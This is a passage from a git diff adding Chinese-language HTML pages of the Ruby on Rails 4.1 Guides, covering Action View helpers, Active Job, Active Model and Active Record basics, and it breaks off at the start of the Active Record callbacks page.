+
+
+
6.11.8 password_field_tag +

创建一个密码输入框,用户输入的值会被遮盖。

+
+password_field_tag 'pass'
+# => <input id="pass" name="pass" type="password" />
+
+
+
+
6.11.9 radio_button_tag +

创建一个单选框。如果希望用户从一组选项中选择,可以使用多个单选框,name 属性的值都设为一样的。

+
+radio_button_tag 'gender', 'male'
+# => <input id="gender_male" name="gender" type="radio" value="male" />
+
+
+
+
6.11.10 select_tag +

创建一个下拉选择框。

+
+select_tag "people", "<option>David</option>"
+# => <select id="people" name="people"><option>David</option></select>
+
+
+
+
6.11.11 submit_tag +

创建一个提交按钮,按钮上显示指定的文本。

+
+submit_tag "Publish this post"
+# => <input name="commit" type="submit" value="Publish this post" />
+
+
+
+
6.11.12 text_area_tag +

创建一个多行文本输入框,用于输入大段文本,例如博客和描述信息。

+
+text_area_tag 'post'
+# => <textarea id="post" name="post"></textarea>
+
+
+
+
6.11.13 text_field_tag +

创建一个标准文本输入框,用于输入小段文本,例如用户名和搜索关键字。

+
+text_field_tag 'name'
+# => <input id="name" name="name" type="text" />
+
+
+
+
6.11.14 email_field_tag +

创建一个标准文本输入框,用于输入 Email 地址。

+
+email_field_tag 'email'
+# => <input id="email" name="email" type="email" />
+
+
+
+
6.11.15 url_field_tag +

创建一个标准文本输入框,用于输入 URL 地址。

+
+url_field_tag 'url'
+# => <input id="url" name="url" type="url" />
+
+
+
+
6.11.16 date_field_tag +

创建一个标准文本输入框,用于输入日期。

+
+date_field_tag "dob"
+# => <input id="dob" name="dob" type="date" />
+
+
+
+

6.12 JavaScriptHelper +

这个模块提供在视图中使用 JavaScript 的相关方法。

6.12.1 button_to_function +

返回一个按钮,点击后触发一个 JavaScript 函数。例如:

+
+button_to_function "Greeting", "alert('Hello world!')"
+button_to_function "Delete", "if (confirm('Really?')) do_delete()"
+button_to_function "Details" do |page|
+  page[:details].visual_effect :toggle_slide
+end
+
+
+
+
6.12.2 define_javascript_functions +

在一个 script 标签中引入 Action Pack JavaScript 代码库。

6.12.3 escape_javascript +

转义 JavaScript 中的回车符、单引号和双引号。

6.12.4 javascript_tag +

返回一个 script 标签,把指定的代码放入其中。

+
+javascript_tag "alert('All is good')"
+
+
+
+
+
+<script>
+//<![CDATA[
+alert('All is good')
+//]]>
+</script>
+
+
+
+

返回一个链接,点击后触发指定的 JavaScript 函数并返回 false

+
+link_to_function "Greeting", "alert('Hello world!')"
+# => <a onclick="alert('Hello world!'); return false;" href="#">Greeting</a>
+
+
+
+

6.13 NumberHelper +

这个模块提供用于把数字转换成格式化字符串所需的方法。包括用于格式化电话号码、货币、百分比、精度、进位制和文件大小的方法。

6.13.1 number_to_currency +

把数字格式化成货币字符串,例如 $13.65。

+
+number_to_currency(1234567890.50) # => $1,234,567,890.50
+
+
+
+
6.13.2 number_to_human_size +

把字节数格式化成更易理解的形式,显示文件大小时特别有用。

+
+number_to_human_size(1234)          # => 1.2 KB
+number_to_human_size(1234567)       # => 1.2 MB
+
+
+
+
6.13.3 number_to_percentage +

把数字格式化成百分数形式。

+
+number_to_percentage(100, precision: 0)        # => 100%
+
+
+
+
6.13.4 number_to_phone +

把数字格式化成美国使用的电话号码形式。

+
+number_to_phone(1235551234) # => 123-555-1234
+
+
+
+
6.13.5 number_with_delimiter +

格式化数字,使用分隔符隔开每三位数字。

+
+number_with_delimiter(12345678) # => 12,345,678
+
+
+
+
6.13.6 number_with_precision +

使用指定的精度格式化数字,精度默认值为 3。

+
+number_with_precision(111.2345)     # => 111.235
+number_with_precision(111.2345, 2)  # => 111.23
+
+
+
+

6.14 SanitizeHelper +

SanitizeHelper 模块提供一系列方法,用于剔除不想要的 HTML 元素。

6.14.1 sanitize +

sanitize 方法会编码所有标签,并删除所有不允许使用的属性。

+
+sanitize @article.body
+
+
+
+

如果指定了 :attributes:tags 选项,只允许使用指定的标签和属性。

+
+sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style)
+
+
+
+

要想修改默认值,例如允许使用 table 标签,可以这么设置:

+
+class Application < Rails::Application
+  config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
+end
+
+
+
+
6.14.2 sanitize_css(style) +

过滤一段 CSS 代码。

6.14.3 strip_links(html) +

删除文本中的所有链接标签,但保留链接文本。

+
+strip_links("<a href="http://rubyonrails.org/">Ruby on Rails</a>")
+# => Ruby on Rails
+
+
+
+
+
+strip_links("emails to <a href="/service/mailto:me@email.com">me@email.com</a>.")
+# => emails to me@email.com.
+
+
+
+
+
+strip_links('Blog: <a href="http://myblog.com/">Visit</a>.')
+# => Blog: Visit.
+
+
+
+
6.14.4 strip_tags(html) +

过滤 html 中的所有 HTML 标签,以及注释。

这个方法使用 html-scanner 解析 HTML,所以解析能力受 html-scanner 的限制。

+
+strip_tags("Strip <i>these</i> tags!")
+# => Strip these tags!
+
+
+
+
+
+strip_tags("<b>Bold</b> no more!  <a href='http://github.com/more.html'>See more</a>")
+# => Bold no more!  See more
+
+
+
+

注意,得到的结果中可能仍然有字符 <>&,会导致浏览器显示异常。

7 视图本地化

Action View 可以根据当前的本地化设置渲染不同的模板。

例如,假设有个 PostsController,在其中定义了 show 动作。默认情况下,执行这个动作时渲染的是 app/views/posts/show.html.erb。如果设置了 I18n.locale = :de,渲染的则是 app/views/posts/show.de.html.erb。如果本地化对应的模板不存在就使用默认模板。也就是说,没必要为所有动作编写本地化视图,但如果有本地化对应的模板就会使用。

相同的技术还可用在 public 文件夹中的错误文件上。例如,设置了 I18n.locale = :de,并创建了 public/500.de.htmlpublic/404.de.html,就能显示本地化的错误页面。

Rails 并不限制 I18n.locale 选项的值,因此可以根据任意需求显示不同的内容。假设想让专业用户看到不同于普通用户的页面,可以在 app/controllers/application_controller.rb 中这么设置:

+
+before_action :set_expert_locale
+
+def set_expert_locale
+  I18n.locale = :expert if current_user.expert?
+end
+
+
+
+

然后创建只显示给专业用户的 app/views/posts/show.expert.html.erb 视图。

详情参阅“Rails 国际化 API”一文。

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/active_job_basics.html b/v4.1/active_job_basics.html new file mode 100644 index 0000000..2373a44 --- /dev/null +++ b/v4.1/active_job_basics.html @@ -0,0 +1,495 @@ + + + + + + + +Active Job 基础 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Active Job 基础

本文提供开始创建任务、将任务加入队列和后台执行任务的所有知识。

读完本文,你将学到:

+
    +
  • 如何新建任务
  • +
  • 如何将任务加入队列
  • +
  • 如何在后台运行任务
  • +
  • 如何在应用中异步发送邮件
  • +
+ + + + +
+
+ +
+
+
+

1 简介

Active Job 是用来声明任务,并把任务放到多种多样的队列后台中执行的框架。从定期地安排清理,费用账单到发送邮件,任何事情都可以是任务。任何可以切分为小的单元和并行执行的任务都可以用 Active Job 来执行。

2 Active Job 的目标

主要是确保所有的 Rails 程序有一致任务框架,即便是以 “立即执行”的形式存在。然后可以基于 Active Job 来新建框架功能和其他的 RubyGems, 而不用担心多种任务后台,比如 Dalayed Job 和 Resque 之间 API 的差异。之后,选择队列后台更多会变成运维方面的考虑,这样就能切换后台而无需重写任务代码。

3 创建一个任务

本节将会逐步地创建任务然后把任务加入队列中。

3.1 创建任务

Active Job 提供了 Rails 生成器来创建任务。以下代码会在 app/jobs 中新建一个任务,(并且会在 test/jobs 中创建测试用例):

+
+$ bin/rails generate job guests_cleanup
+invoke  test_unit
+create    test/jobs/guests_cleanup_job_test.rb
+create  app/jobs/guests_cleanup_job.rb
+
+
+
+

也可以创建运行在一个特定队列上的任务:

+
+$ bin/rails generate job guests_cleanup --queue urgent
+
+
+
+

如果不想使用生成器,需要自己创建文件,并且替换掉 app/jobs。确保任务继承自 ActiveJob::Base 即可。

以下是一个任务示例:

+
+class GuestsCleanupJob < ActiveJob::Base
+  queue_as :default
+
+  def perform(*args)
+    # Do something later
+  end
+end
+
+
+
+

3.2 任务加入队列

将任务加入到队列中:

+
+# 将加入到队列系统中任务立即执行
+MyJob.perform_later record
+
+
+
+
+
+# 在明天中午执行加入队列的任务
+MyJob.set(wait_until: Date.tomorrow.noon).perform_later(record)
+
+
+
+
+
+# 一星期后执行加入到队列的任务
+MyJob.set(wait: 1.week).perform_later(record)
+
+
+
+

就这么简单!

4 任务执行

如果没有设置连接器,任务会立即执行。

4.1 后台

Active Job 内建支持多种队列后台连接器(Sidekiq、Resque、Delayed Job 等)。最新的连接器的列表详见 ActiveJob::QueueAdapters 的 API 文件。

4.2 设置后台

设置队列后台很简单:

+
+# config/application.rb
+module YourApp
+  class Application < Rails::Application
+    # Be sure to have the adapter's gem in your Gemfile and follow
+    # the adapter's specific installation and deployment instructions.
+    config.active_job.queue_adapter = :sidekiq
+  end
+end
+
+
+
+

5 队列

大多数连接器支持多种队列。用 Active Job 可以安排任务运行在特定的队列:

+
+class GuestsCleanupJob < ActiveJob::Base
+  queue_as :low_priority
+  #....
+end
+
+
+
+

application.rb 中通过 config.active_job.queue_name_prefix 来设置所有任务的队列名称的前缀。

+
+# config/application.rb
+module YourApp
+  class Application < Rails::Application
+    config.active_job.queue_name_prefix = Rails.env
+  end
+end
+
+# app/jobs/guests_cleanup.rb
+class GuestsCleanupJob < ActiveJob::Base
+  queue_as :low_priority
+  #....
+end
+
+# Now your job will run on queue production_low_priority on your
+# production environment and on staging_low_priority on your staging
+# environment
+
+
+
+

默认队列名称的前缀是 _。可以设置 config/application.rbconfig.active_job.queue_name_delimiter 的值来改变:

+
+# config/application.rb
+module YourApp
+  class Application < Rails::Application
+    config.active_job.queue_name_prefix = Rails.env
+    config.active_job.queue_name_delimiter = '.'
+  end
+end
+
+# app/jobs/guests_cleanup.rb
+class GuestsCleanupJob < ActiveJob::Base
+  queue_as :low_priority
+  #....
+end
+
+# Now your job will run on queue production.low_priority on your
+# production environment and on staging.low_priority on your staging
+# environment
+
+
+
+

如果想要更细致的控制任务的执行,可以传 :queue 选项给 #set 方法:

+
+MyJob.set(queue: :another_queue).perform_later(record)
+
+
+
+

为了在任务级别控制队列,可以传递一个块给 #queue_as。块会在任务的上下文中执行(所以能获得 self.arguments)并且必须返回队列的名字:

+
+class ProcessVideoJob < ActiveJob::Base
+  queue_as do
+    video = self.arguments.first
+    if video.owner.premium?
+      :premium_videojobs
+    else
+      :videojobs
+    end
+  end
+
+  def perform(video)
+    # do process video
+  end
+end
+
+ProcessVideoJob.perform_later(Video.last)
+
+
+
+

确认运行的队列后台“监听”队列的名称。某些后台需要明确的指定要“监听”队列的名称。

6 回调

Active Job 在一个任务的生命周期里提供了钩子。回调允许在任务的生命周期中触发逻辑。

6.1 可用的回调

+
    +
  • before_enqueue
  • +
  • around_enqueue
  • +
  • after_enqueue
  • +
  • before_perform
  • +
  • around_perform
  • +
  • after_perform
  • +
+

6.2 用法

+
+class GuestsCleanupJob < ActiveJob::Base
+  queue_as :default
+
+  before_enqueue do |job|
+    # do something with the job instance
+  end
+
+  around_perform do |job, block|
+    # do something before perform
+    block.call
+    # do something after perform
+  end
+
+  def perform
+    # Do something later
+  end
+end
+
+
+
+

7 Action Mailer

现代网站应用中最常见的任务之一是,在请求响应周期外发送 Email,这样所有用户不需要焦急地等待邮件的发送。Active Job 集成到 Action Mailer 里了,所以能够简单的实现异步发送邮件:

+
+# If you want to send the email now use #deliver_now
+UserMailer.welcome(@user).deliver_now
+
+# If you want to send the email through Active Job use #deliver_later
+UserMailer.welcome(@user).deliver_later
+
+
+
+

8 GlobalID

Active Job 支持 GlobalID 作为参数。这样传递运行中的 Active Record 对象到任务中,来取代通常需要序列化的 class/id 对。之前任务看起来是像这样:

+
+class TrashableCleanupJob < ActiveJob::Base
+  def perform(trashable_class, trashable_id, depth)
+    trashable = trashable_class.constantize.find(trashable_id)
+    trashable.cleanup(depth)
+  end
+end
+
+
+
+

现在可以简化为:

+
+class TrashableCleanupJob < ActiveJob::Base
+  def perform(trashable, depth)
+    trashable.cleanup(depth)
+  end
+end
+
+
+
+

9 异常

Active Job 提供了在任务执行期间捕获异常的方法:

+
+class GuestsCleanupJob < ActiveJob::Base
+  queue_as :default
+
+  rescue_from(ActiveRecord::RecordNotFound) do |exception|
+   # do something with the exception
+  end
+
+  def perform
+    # Do something later
+  end
+end
+
+
+
+ + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/active_model_basics.html b/v4.1/active_model_basics.html new file mode 100644 index 0000000..5a596c6 --- /dev/null +++ b/v4.1/active_model_basics.html @@ -0,0 +1,448 @@ + + + + + + + +Active Model Basics — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Active Model Basics

This guide should provide you with all you need to get started using model classes. Active Model allows for Action Pack helpers to interact with non-Active Record models. Active Model also helps building custom ORMs for use outside of the Rails framework.

After reading this guide, you will know:

+ + + +
+
+ +
+
+
+

1 Introduction

Active Model is a library containing various modules used in developing frameworks that need to interact with the Rails Action Pack library. Active Model provides a known set of interfaces for usage in classes. Some of modules are explained below.

1.1 AttributeMethods

The AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes and which methods on the object will use them.

+
+class Person
+  include ActiveModel::AttributeMethods
+
+  attribute_method_prefix 'reset_'
+  attribute_method_suffix '_highest?'
+  define_attribute_methods 'age'
+
+  attr_accessor :age
+
+  private
+    def reset_attribute(attribute)
+      send("#{attribute}=", 0)
+    end
+
+    def attribute_highest?(attribute)
+      send(attribute) > 100
+    end
+end
+
+person = Person.new
+person.age = 110
+person.age_highest?  # true
+person.reset_age     # 0
+person.age_highest?  # false
+
+
+
+

1.2 Callbacks

Callbacks gives Active Record style callbacks. This provides an ability to define callbacks which run at appropriate times. After defining callbacks, you can wrap them with before, after and around custom methods.

+
+class Person
+  extend ActiveModel::Callbacks
+
+  define_model_callbacks :update
+
+  before_update :reset_me
+
+  def update
+    run_callbacks(:update) do
+      # This method is called when update is called on an object.
+    end
+  end
+
+  def reset_me
+    # This method is called when update is called on an object as a before_update callback is defined.
+  end
+end
+
+
+
+

1.3 Conversion

If a class defines persisted? and id methods, then you can include the Conversion module in that class and call the Rails conversion methods on objects of that class.

+
+class Person
+  include ActiveModel::Conversion
+
+  def persisted?
+    false
+  end
+
+  def id
+    nil
+  end
+end
+
+person = Person.new
+person.to_model == person  # => true
+person.to_key              # => nil
+person.to_param            # => nil
+
+
+
+

1.4 Dirty

An object becomes dirty when it has gone through one or more changes to its attributes and has not been saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Let's consider a Person class with attributes first_name and last_name:

+
+require 'active_model'
+
+class Person
+  include ActiveModel::Dirty
+  define_attribute_methods :first_name, :last_name
+
+  def first_name
+    @first_name
+  end
+
+  def first_name=(value)
+    first_name_will_change!
+    @first_name = value
+  end
+
+  def last_name
+    @last_name
+  end
+
+  def last_name=(value)
+    last_name_will_change!
+    @last_name = value
+  end
+
+  def save
+    # do save work...
+    changes_applied
+  end
+end
+
+
+
+
1.4.1 Querying object directly for its list of all changed attributes.
+
+person = Person.new
+person.changed? # => false
+
+person.first_name = "First Name"
+person.first_name # => "First Name"
+
+# returns if any attribute has changed.
+person.changed? # => true
+
+# returns a list of attributes that have changed before saving.
+person.changed # => ["first_name"]
+
+# returns a hash of the attributes that have changed with their original values.
+person.changed_attributes # => {"first_name"=>nil}
+
+# returns a hash of changes, with the attribute names as the keys, and the values will be an array of the old and new value for that field.
+person.changes # => {"first_name"=>[nil, "First Name"]}
+
+
+
+
1.4.2 Attribute based accessor methods

Track whether the particular attribute has been changed or not.

+
+# attr_name_changed?
+person.first_name # => "First Name"
+person.first_name_changed? # => true
+
+
+
+

Track what was the previous value of the attribute.

+
+# attr_name_was accessor
+person.first_name_was # => "First Name"
+
+
+
+

Track both previous and current value of the changed attribute. Returns an array if changed, else returns nil.

+
+# attr_name_change
+person.first_name_change # => [nil, "First Name"]
+person.last_name_change # => nil
+
+
+
+

1.5 Validations

Validations module adds the ability to class objects to validate them in Active Record style.

+
+class Person
+  include ActiveModel::Validations
+
+  attr_accessor :name, :email, :token
+
+  validates :name, presence: true
+  validates_format_of :email, with: /\A([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})\z/i
+  validates! :token, presence: true
+end
+
+person = Person.new(token: "2b1f325")
+person.valid?                        # => false
+person.name = 'vishnu'
+person.email = 'me'
+person.valid?                        # => false
+person.email = 'me@vishnuatrai.com'
+person.valid?                        # => true
+person.token = nil
+person.valid?                        # => raises ActiveModel::StrictValidationFailed
+
+
+
+

1.6 ActiveModel::Naming

Naming adds a number of class methods which make the naming and routing +easier to manage. The module defines the model_name class method which +will define a number of accessors using some ActiveSupport::Inflector methods.

+
+class Person
+  extend ActiveModel::Naming
+end
+
+Person.model_name.name                # => "Person"
+Person.model_name.singular            # => "person"
+Person.model_name.plural              # => "people"
+Person.model_name.element             # => "person"
+Person.model_name.human               # => "Person"
+Person.model_name.collection          # => "people"
+Person.model_name.param_key           # => "person"
+Person.model_name.i18n_key            # => :person
+Person.model_name.route_key           # => "people"
+Person.model_name.singular_route_key  # => "person"
+
+
+
+ + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/active_record_basics.html b/v4.1/active_record_basics.html new file mode 100644 index 0000000..a8141e0 --- /dev/null +++ b/v4.1/active_record_basics.html @@ -0,0 +1,508 @@ + + + + + + + +Active Record 基础 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Active Record 基础

本文介绍 Active Record。

读完本文,你将学到:

+
    +
  • 对象关系映射(Object Relational Mapping,ORM)和 Active Record 是什么,以及如何在 Rails 中使用;
  • +
  • Active Record 在 MVC 中的作用;
  • +
  • 如何使用 Active Record 模型处理保存在关系型数据库中的数据;
  • +
  • Active Record 模式(schema)命名约定;
  • +
  • 数据库迁移,数据验证和回调;
  • +
+ + + + +
+
+ +
+
+
+

1 Active Record 是什么?

Active Record 是 MVC 中的 M(模型),处理数据和业务逻辑。Active Record 负责创建和使用需要持久存入数据库中的数据。Active Record 实现了 Active Record 模式,是一种对象关系映射系统。

1.1 Active Record 模式

Active Record 模式出自 Martin Fowler 的《企业应用架构模式》一书。在 Active Record 模式中,对象中既有持久存储的数据,也有针对数据的操作。Active Record 模式把数据存取逻辑作为对象的一部分,处理对象的用户知道如何把数据写入数据库,以及从数据库中读出数据。

1.2 对象关系映射

对象关系映射(ORM)是一种技术手段,把程序中的对象和关系型数据库中的数据表连接起来。使用 ORM,程序中对象的属性和对象之间的关系可以通过一种简单的方法从数据库获取,无需直接编写 SQL 语句,也不过度依赖特定的数据库种类。

1.3 Active Record 用作 ORM 框架

Active Record 提供了很多功能,其中最重要的几个如下:

+
    +
  • 表示模型和其中的数据;
  • +
  • 表示模型之间的关系;
  • +
  • 通过相关联的模型表示继承关系;
  • +
  • 持久存入数据库之前,验证模型;
  • +
  • 以面向对象的方式处理数据库操作;
  • +
+

2 Active Record 中的“多约定少配置”原则

使用其他编程语言或框架开发程序时,可能必须要编写很多配置代码。大多数的 ORM 框架都是这样。但是,如果遵循 Rails 的约定,创建 Active Record 模型时不用做多少配置(有时甚至完全不用配置)。Rails 的理念是,如果大多数情况下都要使用相同的方式配置程序,那么就应该把这定为默认的方法。所以,只有常规的方法无法满足要求时,才要额外的配置。

2.1 命名约定

默认情况下,Active Record 使用一些命名约定,查找模型和数据表之间的映射关系。Rails 把模型的类名转换成复数,然后查找对应的数据表。例如,模型类名为 Book,数据表就是 books。Rails 提供的单复数变形功能很强大,常见和不常见的变形方式都能处理。如果类名由多个单词组成,应该按照 Ruby 的约定,使用驼峰式命名法,这时对应的数据表将使用下划线分隔各单词。因此:

+
    +
  • 数据表名:复数,下划线分隔单词(例如 book_clubs
  • +
  • 模型类名:单数,每个单词的首字母大写(例如 BookClub
  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
模型 / 类数据表 / 模式
Postposts
LineItemline_items
Deerdeers
Mousemice
Personpeople
+

2.2 模式约定

根据字段的作用不同,Active Record 对数据表中的字段命名也做了相应的约定:

+
    +
  • +外键 - 使用 singularized_table_name_id 形式命名,例如 item_idorder_id。创建模型关联后,Active Record 会查找这个字段;
  • +
  • +主键 - 默认情况下,Active Record 使用整数字段 id 作为表的主键。使用 Active Record 迁移创建数据表时,会自动创建这个字段;
  • +
+

还有一些可选的字段,能为 Active Record 实例添加更多的功能:

+
    +
  • +created_at - 创建记录时,自动设为当前的时间戳;
  • +
  • +updated_at - 更新记录时,自动设为当前的时间戳;
  • +
  • +lock_version - 在模型中添加乐观锁定功能;
  • +
  • +type - 让模型使用单表继承
  • +
  • +(association_name)_type - 多态关联的类型;
  • +
  • +(table_name)_count - 缓存关联对象的数量。例如,posts 表中的 comments_count 字段,缓存每篇文章的评论数;
  • +
+

虽然这些字段是可选的,但在 Active Record 中是被保留的。如果想使用相应的功能,就不要把这些保留字段用作其他用途。例如,type 这个保留字段是用来指定数据表使用“单表继承”(STI)的,如果不用 STI,请使用其他的名字,例如“context”,这也能表明该字段的作用。

3 创建 Active Record 模型

创建 Active Record 模型的过程很简单,只要继承 ActiveRecord::Base 类就行了:

+
+class Product < ActiveRecord::Base
+end
+
+
+
+

上面的代码会创建 Product 模型,对应于数据库中的 products 表。同时,products 表中的字段也映射到 Product 模型实例的属性上。假如 products 表由下面的 SQL 语句创建:

+
+CREATE TABLE products (
+   id int(11) NOT NULL auto_increment,
+   name varchar(255),
+   PRIMARY KEY  (id)
+);
+
+
+
+

按照这样的数据表结构,可以编写出下面的代码:

+
+p = Product.new
+p.name = "Some Book"
+puts p.name # "Some Book"
+
+
+
+

4 不用默认的命名约定

如果想使用其他的命名约定,或者在 Rails 程序中使用即有的数据库可以吗?没问题,不用默认的命名约定也很简单。

使用 ActiveRecord::Base.table_name= 方法可以指定数据表的名字:

+
+class Product < ActiveRecord::Base
+  self.table_name = "PRODUCT"
+end
+
+
+
+

如果这么做,还要在测试中调用 set_fixture_class 方法,手动指定固件(class_name.yml)的类名:

+
+class FunnyJoke < ActiveSupport::TestCase
+  set_fixture_class funny_jokes: Joke
+  fixtures :funny_jokes
+  ...
+end
+
+
+
+

还可以使用 ActiveRecord::Base.primary_key= 方法指定数据表的主键:

+
+class Product < ActiveRecord::Base
+  self.primary_key = "product_id"
+end
+
+
+
+

5 CRUD:读写数据

CURD 是四种数据操作的简称:C 表示创建,R 表示读取,U 表示更新,D 表示删除。Active Record 自动创建了处理数据表中数据的方法。

5.1 创建

Active Record 对象可以使用 Hash 创建,在块中创建,或者创建后手动设置属性。new 方法会实例化一个对象,create 方法实例化一个对象,并将其存入数据库。

例如,User 模型中有两个属性,nameoccupation。调用 create 方法会实例化一个对象,并把该对象对应的记录存入数据库:

+
+user = User.create(name: "David", occupation: "Code Artist")
+
+
+
+

使用 new 方法,可以实例化一个对象,但不会保存:

+
+user = User.new
+user.name = "David"
+user.occupation = "Code Artist"
+
+
+
+

调用 user.save 可以把记录存入数据库。

createnew 方法从结果来看,都实现了下面代码的功能:

+
+user = User.new do |u|
+  u.name = "David"
+  u.occupation = "Code Artist"
+end
+
+
+
+

5.2 读取

Active Record 为读取数据库中的数据提供了丰富的 API。下面举例说明。

+
+# return a collection with all users
+users = User.all
+
+
+
+
+
+# return the first user
+user = User.first
+
+
+
+
+
+# return the first user named David
+david = User.find_by(name: 'David')
+
+
+
+
+
+# find all users named David who are Code Artists and sort by created_at
+# in reverse chronological order
+users = User.where(name: 'David', occupation: 'Code Artist').order('created_at DESC')
+
+
+
+

Active Record 查询一文会详细介绍查询 Active Record 模型的方法。

5.3 更新

得到 Active Record 对象后,可以修改其属性,然后再存入数据库。

+
+user = User.find_by(name: 'David')
+user.name = 'Dave'
+user.save
+
+
+
+

还有个简写方式,使用 Hash,指定属性名和属性值,例如:

+
+user = User.find_by(name: 'David')
+user.update(name: 'Dave')
+
+
+
+

一次更新多个属性时使用这种方法很方便。如果想批量更新多个记录,可以使用类方法 update_all

+
+User.update_all "max_login_attempts = 3, must_change_password = 'true'"
+
+
+
+

5.4 删除

类似地,得到 Active Record 对象后还可以将其销毁,从数据库中删除。

+
+user = User.find_by(name: 'David')
+user.destroy
+
+
+
+

6 数据验证

在存入数据库之前,Active Record 还可以验证模型。模型验证有很多方法,可以检查属性值是否不为空、是否是唯一的,或者没有在数据库中出现过,等等。

把数据存入数据库之前进行验证是十分重要的步骤,所以调用 createsaveupdate 这三个方法时会做数据验证,验证失败时返回 false,此时不会对数据库做任何操作。这三个方法都有对应的爆炸方法(create!save!update!),爆炸方法要严格一些,如果验证失败,会抛出 ActiveRecord::RecordInvalid 异常。下面是个简单的例子:

+
+class User < ActiveRecord::Base
+  validates :name, presence: true
+end
+
+User.create  # => false
+User.create! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+
+
+

Active Record 数据验证一文会详细介绍数据验证。

7 回调

Active Record 回调可以在模型声明周期的特定事件上绑定代码,相应的事件发生时,执行这些代码。例如创建新纪录时,更新记录时,删除记录时,等等。Active Record 回调一文会详细介绍回调。

8 迁移

Rails 提供了一个 DSL 用来处理数据库模式,叫做“迁移”。迁移的代码存储在特定的文件中,通过 rake 调用,可以用在 Active Record 支持的所有数据库上。下面这个迁移会新建一个数据表:

+
+class CreatePublications < ActiveRecord::Migration
+  def change
+    create_table :publications do |t|
+      t.string :title
+      t.text :description
+      t.references :publication_type
+      t.integer :publisher_id
+      t.string :publisher_type
+      t.boolean :single_issue
+
+      t.timestamps
+    end
+    add_index :publications, :publication_type_id
+  end
+end
+
+
+
+

Rails 会跟踪哪些迁移已经应用到数据库中,还提供了回滚功能。创建数据表要执行 rake db:migrate 命令;回滚操作要执行 rake db:rollback 命令。

注意,上面的代码和具体的数据库种类无关,可用于 MySQL、PostgreSQL、Oracle 等数据库。关于迁移的详细介绍,参阅 Active Record 迁移一文。

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/active_record_callbacks.html b/v4.1/active_record_callbacks.html new file mode 100644 index 0000000..36506a1 --- /dev/null +++ b/v4.1/active_record_callbacks.html @@ -0,0 +1,595 @@ + + + + + + + +Active Record 回调 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Active Record 回调

本文介绍如何介入 Active Record 对象的生命周期。

读完本文,你将学到:

+
    +
  • Active Record 对象的生命周期;
  • +
  • 如何编写回调方法响应对象声明周期内发生的事件;
  • +
  • 如何把常用的回调封装到特殊的类中;
  • +
+ + + + +
+
+ +
+
+
+

1 对象的生命周期

在 Rails 程序运行过程中,对象可以被创建、更新和销毁。Active Record 为对象的生命周期提供了很多钩子,让你控制程序及其数据。

回调可以在对象的状态改变之前或之后触发指定的逻辑操作。

2 回调简介

回调是在对象生命周期的特定时刻执行的方法。回调方法可以在 Active Record 对象创建、保存、更新、删除、验证或从数据库中读出时执行。

2.1 注册回调

在使用回调之前,要先注册。回调方法的定义和普通的方法一样,然后使用类方法注册:

+
+class User < ActiveRecord::Base
+  validates :login, :email, presence: true
+
+  before_validation :ensure_login_has_a_value
+
+  protected
+    def ensure_login_has_a_value
+      if login.nil?
+        self.login = email unless email.blank?
+      end
+    end
+end
+
+
+
+

这种类方法还可以接受一个代码块。如果操作可以使用一行代码表述,可以考虑使用代码块形式。

+
+class User < ActiveRecord::Base
+  validates :login, :email, presence: true
+
+  before_create do
+    self.name = login.capitalize if name.blank?
+  end
+end
+
+
+
+

注册回调时可以指定只在对象生命周期的特定事件发生时执行:

+
+class User < ActiveRecord::Base
+  before_validation :normalize_name, on: :create
+
